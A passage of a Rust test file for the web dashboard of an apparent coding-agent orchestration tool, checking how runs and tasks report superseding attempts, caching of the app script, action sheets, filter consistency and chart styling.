18892 assert!(APP_JS.contains("task.urgent === true"));
18893 }
18894
18895 #[tokio::test]
18896 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
18897 let fx = Fixture::start().await;
18898 let runs = fx.runs();
18899 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18900 write_run(&runs, old, RunStatus::Blocked);
18901 write_run(&runs, new, RunStatus::Merged);
18902 let mut t = outcome_task(&[old, new], TaskStatus::Done);
18903 fx.queue().put(&mut t).expect("put");
18904
18905 let view = fx.get(&format!("/api/runs/{old}")).await.json();
18906 let task = &view["task"];
18907 assert_eq!(task["status"], "done");
18908 assert_eq!(task["is_latest"], false);
18909 assert_eq!(task["latest"]["short"], "bbbb");
18910 assert_eq!(task["finished_by"]["id"], new);
18911 assert_eq!(task["finished_by"]["outcome"], "merged");
18912 assert_eq!(task["closed_by_hand"], false);
18913 assert_eq!(view["status"], "blocked", "the run keeps its own status");
18914 assert!(APP_JS.contains("finished_by"));
18915 assert!(APP_JS.contains("superseded by run"));
18916 }
18917
18918 #[tokio::test]
18919 async fn the_latest_run_reports_a_held_task_without_a_successor() {
18920 let fx = Fixture::start().await;
18921 let runs = fx.runs();
18922 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18923 write_run(&runs, old, RunStatus::Stalled);
18924 write_run(&runs, new, RunStatus::Blocked);
18925 let mut t = outcome_task(&[old, new], TaskStatus::Held);
18926 fx.queue().put(&mut t).expect("put");
18927
18928 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
18929 assert_eq!(task["status"], "held");
18930 assert_eq!(task["is_latest"], true);
18931 assert!(task["latest"].is_null());
18932 assert!(task["finished_by"].is_null());
18933 assert_eq!(task["closed_by_hand"], false);
18934 }
18935
18936 #[tokio::test]
18937 async fn a_direct_run_has_no_task_outcome() {
18938 let fx = Fixture::start().await;
18939 let runs = fx.runs();
18940 let id = "20260901-000000-aaaa";
18941 write_run(&runs, id, RunStatus::Blocked);
18942 let view = fx.get(&format!("/api/runs/{id}")).await.json();
18943 assert!(view["task"].is_null());
18944 }
18945
18946 #[test]
18947 fn task_outcome_does_not_guess_a_finishing_run() {
18948 let a = "20260901-000000-aaaa";
18949 let b = "20260901-000000-bbbb";
18950 let c = "20260901-000000-cccc";
18951 let dir = tempfile::tempdir().expect("tempdir");
18952 write_run(dir.path(), a, RunStatus::Blocked);
18953 write_run(dir.path(), b, RunStatus::VerifiedNoop);
18954 let read = |id: &str| read_run(dir.path(), id).ok();
18956 let t = outcome_task(&[a, b, c], TaskStatus::Done);
18959 let out = task_outcome(&t, a, 3, read);
18960 assert!(out.finished_by.is_none());
18961 assert!(out.closed_by_hand);
18962 let latest = out.latest.expect("latest");
18963 assert_eq!(latest.id, c);
18964 assert_eq!(latest.status, None);
18965 assert_eq!(latest.outcome, "record unreadable");
18966
18967 write_run(dir.path(), c, RunStatus::Ready);
18969 let t = outcome_task(&[a, c], TaskStatus::Done);
18970 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18971 assert_eq!(out.finished_by.expect("finisher").id, c);
18972 assert!(!out.closed_by_hand);
18973
18974 let t = outcome_task(&[a, b, a], TaskStatus::Held);
18976 assert!(task_outcome(&t, a, 3, read).is_latest);
18977 }
18978
18979 #[tokio::test]
18980 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18981 let fx = Fixture::start().await;
18986 let q = fx.queue();
18987 let runs = fx.runs();
18988 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18989 write_run(&runs, first, RunStatus::Blocked);
18990 write_run(&runs, second, RunStatus::Merged);
18991
18992 let mut t = Task::new(
18993 "one task".to_owned(),
18994 "do it".to_owned(),
18995 PathBuf::from("/repo"),
18996 Source::Human,
18997 );
18998 t.runs = vec![first.to_owned(), second.to_owned()];
18999 q.put(&mut t).expect("put");
19000
19001 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
19002 assert_eq!(earlier["superseded_by"], "dddd");
19003 assert_eq!(earlier["latest_attempt"]["id"], second);
19004 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
19005 assert_eq!(
19006 earlier["latest_attempt"]["resolved"], true,
19007 "the run that replaced it landed, so this one reads as settled"
19008 );
19009
19010 let later = fx.get(&format!("/api/runs/{second}")).await.json();
19011 assert!(
19012 later["superseded_by"].is_null(),
19013 "the latest attempt is not superseded by anything"
19014 );
19015 assert!(
19016 later["latest_attempt"].is_null(),
19017 "the latest attempt has no later attempt of its own"
19018 );
19019
19020 assert!(APP_JS.contains("run.latest_attempt"));
19027 assert!(APP_JS.contains("data-superseded"));
19028 assert!(APP_JS.contains("#/runs/${latest.id}"));
19029 }
19030
19031 #[tokio::test]
19032 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
19033 let fx = Fixture::start().await;
19039 let q = fx.queue();
19040 let runs = fx.runs();
19041 let (a, b, c) = (
19042 "20260901-000000-aaaa",
19043 "20260901-000000-bbbb",
19044 "20260901-000000-cccc",
19045 );
19046 write_run(&runs, a, RunStatus::Blocked);
19047 write_run(&runs, b, RunStatus::Blocked);
19048 write_run(&runs, c, RunStatus::Merged);
19049
19050 let mut t = Task::new(
19051 "retried twice".to_owned(),
19052 "do it".to_owned(),
19053 PathBuf::from("/repo"),
19054 Source::Human,
19055 );
19056 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
19057 q.put(&mut t).expect("put");
19058
19059 let view = fx.get(&format!("/api/runs/{a}")).await.json();
19060 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
19061 assert_eq!(
19062 view["latest_attempt"]["id"], c,
19063 "the chain's current head, not the intermediate Blocked retry"
19064 );
19065 assert_eq!(view["latest_attempt"]["resolved"], true);
19066
19067 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
19068 assert_eq!(mid["latest_attempt"]["id"], c);
19069 assert_eq!(mid["latest_attempt"]["resolved"], true);
19070 }
19071
19072 #[tokio::test]
19073 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
19074 let fx = Fixture::start().await;
19075 let q = fx.queue();
19076 let runs = fx.runs();
19077
19078 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
19081 write_run(&runs, still_blocked_a, RunStatus::Blocked);
19082 write_run(&runs, still_blocked_b, RunStatus::Blocked);
19083 let mut t1 = Task::new(
19084 "still stuck".to_owned(),
19085 "do it".to_owned(),
19086 PathBuf::from("/repo"),
19087 Source::Human,
19088 );
19089 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
19090 q.put(&mut t1).expect("put");
19091 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
19092 assert_eq!(view1["latest_attempt"]["resolved"], false);
19093 assert_eq!(view1["latest_attempt"]["status"], "blocked");
19094 assert_eq!(view1["latest_attempt"]["done"], true);
19095
19096 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
19098 write_run(&runs, run_a, RunStatus::Blocked);
19099 write_run(&runs, run_b, RunStatus::Implementing);
19100 let mut t3 = Task::new(
19101 "retrying".to_owned(),
19102 "do it".to_owned(),
19103 PathBuf::from("/repo"),
19104 Source::Human,
19105 );
19106 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
19107 q.put(&mut t3).expect("put");
19108 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
19109 assert_eq!(view3["latest_attempt"]["id"], run_b);
19110 assert_eq!(view3["latest_attempt"]["resolved"], false);
19111 assert_eq!(view3["latest_attempt"]["done"], false);
19112
19113 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
19118 write_run(&runs, noop_a, RunStatus::Blocked);
19119 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
19120 let mut t2 = Task::new(
19121 "claims done".to_owned(),
19122 "do it".to_owned(),
19123 PathBuf::from("/repo"),
19124 Source::Human,
19125 );
19126 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
19127 q.put(&mut t2).expect("put");
19128 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
19129 assert_eq!(
19130 view2["latest_attempt"]["resolved"], false,
19131 "an unverified no-op claim must not read as a confirmed finish"
19132 );
19133
19134 assert!(APP_JS.contains("latest.resolved"));
19137 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
19140 assert!(APP_JS.contains("Latest attempt: "));
19141 assert!(APP_JS.contains("in flight"));
19142 assert!(APP_JS.contains("not resolved"));
19143 }
19144
19145 #[tokio::test]
19146 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
19147 let fx = Fixture::start().await;
19148 let js = fx.get("/app.js").await;
19154 assert_eq!(js.status, 200);
19155 let tag = js
19156 .header("etag")
19157 .expect("an etag to revalidate against")
19158 .to_owned();
19159 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
19160 assert_eq!(
19161 js.header("cache-control"),
19162 Some("no-cache, must-revalidate"),
19163 "the phone has to ask every time"
19164 );
19165
19166 let again = fx
19169 .get_with("/app.js", &[("if-none-match", tag.as_str())])
19170 .await;
19171 assert_eq!(
19172 again.status, 304,
19173 "a deck it already has costs one round trip"
19174 );
19175 assert!(again.body.is_empty(), "304 carries no body");
19176
19177 let weak = fx
19180 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
19181 .await;
19182 assert_eq!(weak.status, 304);
19183 let stale = fx
19184 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
19185 .await;
19186 assert_eq!(stale.status, 200, "an older build must be replaced");
19187 assert!(stale.body.contains("renderRunActions"));
19188 }
19189
19190 #[test]
19191 fn the_task_detail_has_an_actions_fab_and_sheet() {
19192 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
19193 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
19194 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
19195 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
19197 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
19198 assert!(APP_JS.contains("renderTaskActions(task);"));
19200 assert!(APP_JS.contains("renderTaskActions(null);"));
19201 let sheet = APP_JS
19203 .find("function renderTaskActions")
19204 .expect("sheet renderer");
19205 let body = &APP_JS[sheet..sheet + 3000];
19206 assert!(body.contains("changePriority("));
19207 assert!(body.contains("openTaskEdit(task)"));
19208 assert!(body.contains("renderTaskHoldBox(host"));
19209 assert!(body.contains("renderTaskDoneBox(host"));
19210 assert!(body.contains("renderTaskDeleteBox(host"));
19211 assert!(APP_JS.contains("API.priority(id)"));
19212 assert!(APP_JS.contains("API.deleteTask(id)"));
19213 assert!(APP_JS.contains("location.hash = \"#/queue\""));
19215 assert!(APP_JS.contains("$(\"task-actions-error\")"));
19217 }
19218
19219 #[test]
19220 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
19221 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
19222 let actions = INDEX_HTML
19223 .find("id=\"run-actions-box\"")
19224 .expect("actions box");
19225 assert!(task < actions, "the task entry comes first in the sheet");
19226 assert!(APP_JS.contains("renderRunTaskEntry"));
19227 assert!(APP_JS.contains("\"Open task \""));
19228 assert!(APP_JS.contains("started directly, no task"));
19230 assert!(APP_JS.contains("sheet-task-link"));
19231 assert!(APP_JS.contains("task-chip-link"));
19232 }
19233
19234 #[test]
19235 fn the_deck_never_sends_the_operator_to_a_terminal() {
19236 assert!(
19239 !APP_JS.contains("Run `magi fold` first"),
19240 "the deck must offer the fold, not prescribe a shell command"
19241 );
19242 assert!(APP_JS.contains("foldRun:"));
19243 assert!(APP_JS.contains("resumeRun:"));
19244 assert!(APP_JS.contains("renderRunActions"));
19245
19246 assert!(APP_JS.contains("armedFold"));
19248 assert!(APP_JS.contains("Yes, fold worktrees"));
19249
19250 assert!(APP_JS.contains("can no longer be resumed"));
19253 }
19254
19255 #[test]
19256 fn a_finished_run_explains_itself_with_its_own_last_line() {
19257 assert!(
19263 !APP_JS.contains("collapsed on agent quota"),
19264 "a stall must not be explained by a cause the deck did not check"
19265 );
19266 assert!(
19267 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
19268 "and a block must not offer a guess with an `or` in it"
19269 );
19270
19271 assert!(
19275 APP_JS.contains("setText(r.event, run.event || \"\")"),
19276 "the run's last line is rendered unconditionally"
19277 );
19278 assert!(
19279 !APP_JS.contains("moving && run.event"),
19280 "and never gated on the run still moving"
19281 );
19282
19283 assert!(APP_JS.contains("lost to quota"));
19285 }
19286
19287 #[test]
19309 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
19310 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
19311 let shapes_body_start =
19312 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
19313 let shapes_close = APP_JS[shapes_body_start..]
19314 .find("].map(")
19315 .expect("the shape list is closed by its done-computing .map(...)")
19316 + shapes_body_start;
19317 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
19318
19319 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
19320 for entry in shapes_src.split('{').skip(1) {
19321 let waiting = entry.contains("waiting: true");
19322 let dead = entry.contains("live: \"dead\"");
19323 let status_at =
19324 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
19325 let status_end = entry[status_at..]
19326 .find('"')
19327 .expect("the status string is closed")
19328 + status_at;
19329 let parked = entry.contains("display_status: \"parked\"");
19330 shapes.push((
19331 waiting,
19332 entry[status_at..status_end].to_string(),
19333 dead,
19334 parked,
19335 ));
19336 }
19337 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
19338
19339 let done_rule_marker = "done: !";
19343 let done_rule_at = APP_JS[shapes_close..]
19344 .find(done_rule_marker)
19345 .expect("the done rule follows the shape list")
19346 + shapes_close
19347 + done_rule_marker.len();
19348 let includes_at = APP_JS[done_rule_at..]
19349 .find(".includes(shape.status)")
19350 .expect("the done rule ends in .includes(shape.status)")
19351 + done_rule_at;
19352 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
19353 .trim()
19354 .trim_start_matches('[')
19355 .trim_end_matches(']')
19356 .split(',')
19357 .map(|s| s.trim().trim_matches('"'))
19358 .filter(|s| !s.is_empty())
19359 .collect();
19360
19361 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
19362 .into_iter()
19363 .map(|(waiting, status, dead, parked)| {
19364 let done = !not_done.contains(&status.as_str());
19365 (waiting, status, dead, parked, done)
19366 })
19367 .collect();
19368
19369 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
19373 if waiting {
19374 return "waiting";
19375 }
19376 if dead
19377 && !parked
19378 && !matches!(
19379 status,
19380 "merged"
19381 | "ready"
19382 | "stalled"
19383 | "blocked"
19384 | "failed"
19385 | "verified_noop"
19386 | "superseded"
19387 | "already_in_base"
19388 )
19389 {
19390 return "stale";
19391 }
19392 match status {
19393 "merged" | "ready" => "landed",
19394 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
19395 | "already_in_base" => "ended",
19396 _ => "flight",
19397 }
19398 }
19399
19400 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
19403 match filter_key {
19404 "active" => !done,
19405 "flight" => !done && !waiting && !dead,
19406 "stale" => !done && !waiting && dead,
19407 "waiting" => waiting,
19408 "done" => done,
19409 "all" => true,
19410 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
19411 }
19412 }
19413
19414 let compatible = |section: &str, filter_key: &str| {
19415 shapes.iter().any(|(waiting, status, dead, parked, done)| {
19416 run_section(*waiting, status, *dead, *parked) == section
19417 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
19418 })
19419 };
19420
19421 let expected = [
19426 ("waiting", [true, false, false, true, true, true]),
19427 ("stale", [true, false, true, false, false, true]),
19428 ("flight", [true, true, false, false, false, true]),
19429 ("landed", [false, false, false, false, true, true]),
19430 ("ended", [false, false, false, false, true, true]),
19431 ];
19432 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
19433
19434 for (section, wants) in expected {
19435 for (filter_key, want) in filter_keys.iter().zip(wants) {
19436 assert_eq!(
19437 compatible(section, filter_key),
19438 want,
19439 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
19440 );
19441 }
19442 }
19443
19444 assert!(
19447 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
19448 );
19449 assert!(APP_JS.contains(
19450 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
19451 ));
19452 assert!(APP_JS.contains(
19453 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
19454 ));
19455 }
19456
19457 #[tokio::test]
19458 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
19459 let dir = tempfile::tempdir().expect("tempdir");
19463 let explicit = dir.path().join("not-a-checkout");
19464 std::fs::create_dir_all(&explicit).expect("create dir");
19465 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
19466
19467 let missing = dir.path().join("does-not-exist-at-all");
19468 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
19469 }
19470
19471 #[test]
19472 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
19473 assert!(APP_JS.contains("function statsDonutArcs"));
19474 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
19475 assert!(APP_JS.contains("function statusInBucket"));
19477 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
19478 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
19479 let buckets = [
19480 "merged",
19481 "ready",
19482 "in_progress",
19483 "blocked",
19484 "failed",
19485 "verified_noop",
19486 "superseded",
19487 "stalled",
19488 ];
19489 for key in buckets {
19490 let var = format!("--verdict-{key}:");
19491 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
19493 assert!(
19494 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
19495 "{key}"
19496 );
19497 }
19498 }
19499}